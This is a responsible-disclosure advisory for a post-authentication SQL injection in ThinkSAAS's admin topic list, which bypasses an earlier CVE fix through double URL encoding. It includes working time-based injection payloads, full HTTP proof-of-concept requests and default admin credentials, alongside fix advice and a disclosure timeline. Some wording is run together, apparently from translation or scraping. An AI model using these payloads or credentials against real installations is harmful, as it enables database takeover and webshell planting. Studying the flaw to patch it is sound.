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ThinkSAAS has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php#2 (bypass of CVE-2020-35337)

 

0x01 Summay

In last December last year, there were security problems caused by improper URLDecode. Referencehttps://github.com/thinksaas/ThinkSAAS/issues/24

To sum up, it is inThinkSAAS-master\app\topic\action\admin\topic.php, improper filtering of keyword parameters leads to SQL injection.

In last year's fix plan (clickHereDirect), the first is$titleChanged$kwVariable,

And, aftertsFilterFunction filtering.

However, there are still security risks now.

# Responsible Vulnerability Disclosure info

Title: 
	ThinkSAAS has a Post-Auth SQL injection vulnerability in app/topic/action/admin/topic.php

Desc:
  ThinkSAAS before 3.52 has SQL injection via the /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC title parameter(need the privilege of admin), allowing logged attackers to execute arbitrary SQL commands.	This is a bypass of CVE-2020-35337. 

CVSS v3.1 Vector: 
- 7.5
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:H/MPR:H/MUI:N/MS:C/MC:H/MI:H/MA:H

Result:
	The vendor has confirmed this vuln and updated [ThinkSAAS 3.53] to fix this vuln.



Reference:
- 
- 


0x02 security vulnerability analysis

Global filtering analysis

In ThinkSAAS-master\thinksaas\thinksaas.php#62, usetsgpcFilter

Using addslashes to prevent SQL injection

(1)tsFilterImproper function filtering logic

tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)

This function replaces some of the dangerous keywords with null, but an error is made here: it is replaced only once, causing attackers to use the double-write method to construct

SELselect ECT 

To escape from the realSELECT

Therefore, we recommend that youReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) improper filtering order

Please note: The problem in (1) just now is not the most important-even if there is no problem in (1), we can also carry out SQL injection attacks.

Inapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), is the user input variable$_get ['kw']The SQL injection vulnerability is caused by filtering and then using URLDecode function decoding.

In short, it isThe value of the filter.WithFinally concatenate and substitute the values of the Query DatabaseProblems caused by differences.

The procedure is as follows:

1, User-input param: %2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

 
2, the $kw param Server received(has been auto UrlDecoded for once): %50%6f%43%27%20%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%73%6c%65%65%70%28%31%29%29%78%29%20%2d%2d%20
  - goto thinksaas/thinksaas.php#62 via tsgpc()
  - tsgpc() actually do addslashes() to escape [',"]【there is no [',"], you konw】
  - then via the line 13 tsFilter() to filter black-word【actually do no operation】
	- param no change
  
3, $kw=urldecode(tsFilter($_GET['kw']));  
 notice the $kw param has been UrlDecoded agained (for twice, you know):
PoC' and (select 1 from (select sleep(1))x) -- 
  
4,So the impace is: Post-Auth SQL-injection(后台SQL注入):
SELECT * FROM ts_topic WHERE `title` like '%PoC' and (select 1 from (select sleep(1))x) -- %' ORDER BY addtime desc

Or if you still feel unclear, you canthinksaas\tsApp.php#165Add the debugging code of "print SQL statement", as shown in the following figure:

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520 HTTP/1.1
Host: thinksaas
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://thinksaas/index.php?install=result
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=t86vbus6e31om7uv1mrskb3ea5; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1627657957; Hm_lpvt_5964cd4b8810fcc73c98618d475213f6=1627657957
Connection: close

Causing a delay of 2 seconds

0x03 vulnerability verification(PoC & EXPLOIT)

GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1
Host: thinksaas
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword
Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3;  ts_autologin=goh59atl3dsk44o4sws48s80co44ww8
Upgrade-Insecure-Requests: 1

First, access the system management login interface, enter the account and password to log on to the background.

http://thinksaas/index.php?app=user&ac=system
- Default password is:
- admin@admin.com / 123456

Next, visit the URL

http://thinksaas//index.php?app=topic&ac=admin&mg=topic&ts=list&kw=%2550%256f%2543%2527%2520%2561%256e%2564%2520%2528%2573%2565%256c%2565%2563%2574%2520%2531%2520%2566%2572%256f%256d%2520%2528%2573%2565%256c%2565%2563%2574%2520%2573%256c%2565%2565%2570%2528%2531%2529%2529%2578%2529%2520%252d%252d%2520

A 2-second latency is observed on the web page, which is the proof of concept (PoC) of the vulnerability.

When exploiting this vulnerability, attackers can use logical operations to fully control the database, query information in the database, write data to webshell, and other dangerous operations.

0x04 vulnerability fix

(1) optimizationtsFilterFunction

tsFilterFunctionThinkSAAS-master\thinksaas\tsFunction.phpIn (clickHereDirect)

We recommend that you do not use a blacklist to prevent SQL injection. However, if the solution is fixed, you can tsFunction the functionReplace only onceTheIf, change to meetingLoop replacementTheWhile

(2) fixed the logic in topic.php.

Best removeurldecode, filter directly.

If [decode first, then filter], there is still a risk, because the URLDecode decode, so that attackers can bypass the globaltsgpc()To prevent SQL injection, use the addslashes function correctly.

Willapp/topic/action/admin/topic.phpIn the implementation of the logic (clickHereDirect), changed

$kw=tsFilter($_GET['kw']);  //推荐写法


0x05 Time Line

  • 2021.07.31 08:40, Qianxin, Network Security Department, Product-Safety Team ( Unc1e ) reported this issue to the developer of ThinkSAAS, via Wechat.
  • 2021.07.31 09:07, ThinkSAAS confirmed this vulnerability.

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